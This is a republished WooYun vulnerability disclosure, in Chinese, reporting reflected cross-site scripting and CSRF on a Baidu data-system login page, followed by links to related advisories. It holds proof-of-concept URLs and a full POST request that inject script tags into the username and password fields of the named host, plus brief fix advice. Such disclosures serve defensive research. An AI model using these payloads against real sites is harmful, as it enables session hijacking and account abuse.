百度某系统登陆页面跨站及CSRF漏洞

2024-06-03 06:12:08

漏洞详情

披露状态：

2010-07-25：细节已通知厂商并且等待厂商处理中
1970-01-01：厂商已经确认，细节仅向厂商公开
1970-01-11：细节向核心白帽子及相关领域专家公开
1970-01-21：细节向普通白帽子公开
1970-01-31：细节向实习白帽子公开
2010-08-25：细节向公众公开

简要描述：

百度某系统登陆页面存在跨站及CSRF漏洞。

详细说明：

http://data.baidu.com:80/report/accounts/checkLogin?password=xx&username=xx
该页面username和password两个函数均存在跨站弱点，该页面登录提交方式为post，但是该处存在CSRF漏洞，以该跨站为例，也可进行post跨站。

漏洞证明：

http://data.baidu.com:80/report/accounts/checkLogin?password="/><script>alert(/liscker/);</script>&username=xx
http://data.baidu.com:80/report/accounts/checkLogin?password=xx&username=="/><script>alert(/liscker/);</script>
POST /report/accounts/checkLogin HTTP/1.1
Host: data.baidu.com
Accept: */*
Referer: /report/accounts/checkLogin?form_refer=/huazhuangpin3/&username=test&password=123456
Accept-Language: en-us,en;q=0.7,zh-cn;q=0.3
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Connection: Keep-Alive
Cookie: bsn=e32f13n887utmoopv5qdsrcb00
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
password=123456&form_refer=%2Fhuazhuangpin3%2F&username=%3Cscript%3Ealert%28%2Fliscker%2F%29%3C%2Fscript%3E

修复方案：

过滤跨站关键字
时间戳变量
验证码

版权声明：转载请注明来源 Liscker@乌云

百度某系统登陆页面跨站及CSRF漏洞相关推荐

php 存储型跨站,php云人才系统存储型跨站两处
漏洞作者: 龟兔赛跑 WooYun-2014-73319( WooYun: php云人才系统存储型跨站多处 )曾经报道过这两处存储型跨站,虽然厂商修了,但是还是可以以奇葩的方式XSS跨站. 0x01: ...
php 存储型跨站,php云人才系统存储型跨站两处 | CN-SEC 中文网
摘要 WooYun-2014-73319( WooYun: php云人才系统存储型跨站多处 )曾经报道过这两处存储型跨站,虽然厂商修了,但是还是可以以奇葩的方式XSS跨站. 漏洞作者: 龟兔赛跑 Wo ...
【安全牛学习笔记】CSRF跨站请求伪造***漏洞的原理及解决办法
CSRF跨站请求伪造***漏洞的原理及解决办法 CSRF,夸张请求伪造漏洞漏洞的原理及修复方法 1.常见的触发场景 2.漏洞原理:浏览器同源策略 3.DEMO 4.漏洞危害 5.如何避免&修 ...
Weblogic服务端请求伪造漏洞（SSRF）和反射型跨站请求伪造漏洞（CSS）修复教程...
一.服务端请求伪造漏洞服务端请求伪造(Server-Side Request Forgery),是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤,导致攻击者可借助 ...
漏洞解决方案-跨站请求伪造漏洞
跨站请求伪造漏洞CSRF 跨站请求伪造漏洞CSRF 一.问题描述: 二.整改建议: 三.案例: 1. 客户端进行CSRF防御 2. 服务端进行CSRF防御跨站请求伪造漏洞CSRF 一.问题描述: C ...
WordPress qTranslate插件跨站请求伪造漏洞
漏洞名称: WordPress qTranslate插件跨站请求伪造漏洞 CNNVD编号: CNNVD-201306-058 发布时间: 2013-06-07 更新时间: 2013-06-07 危害等 ...
WordPress Event Easy Calendar插件多个跨站请求伪造漏洞
漏洞名称: WordPress Event Easy Calendar插件多个跨站请求伪造漏洞 CNNVD编号: CNNVD-201309-083 发布时间: 2013-09-11 更新时间: 201 ...
WordPress Citizen Space插件跨站请求伪造漏洞
漏洞名称: WordPress Citizen Space插件跨站请求伪造漏洞 CNNVD编号: CNNVD-201307-463 发布时间: 2013-07-23 更新时间: 2013-07-23 ...
WordPress WP cleanfix插件‘eval()’函数跨站请求伪造漏洞
漏洞名称: WordPress WP cleanfix插件'eval()'函数跨站请求伪造漏洞 CNNVD编号: CNNVD-201305-381 发布时间: 2013-05-20 更新时间: 201 ...

最新文章

热门文章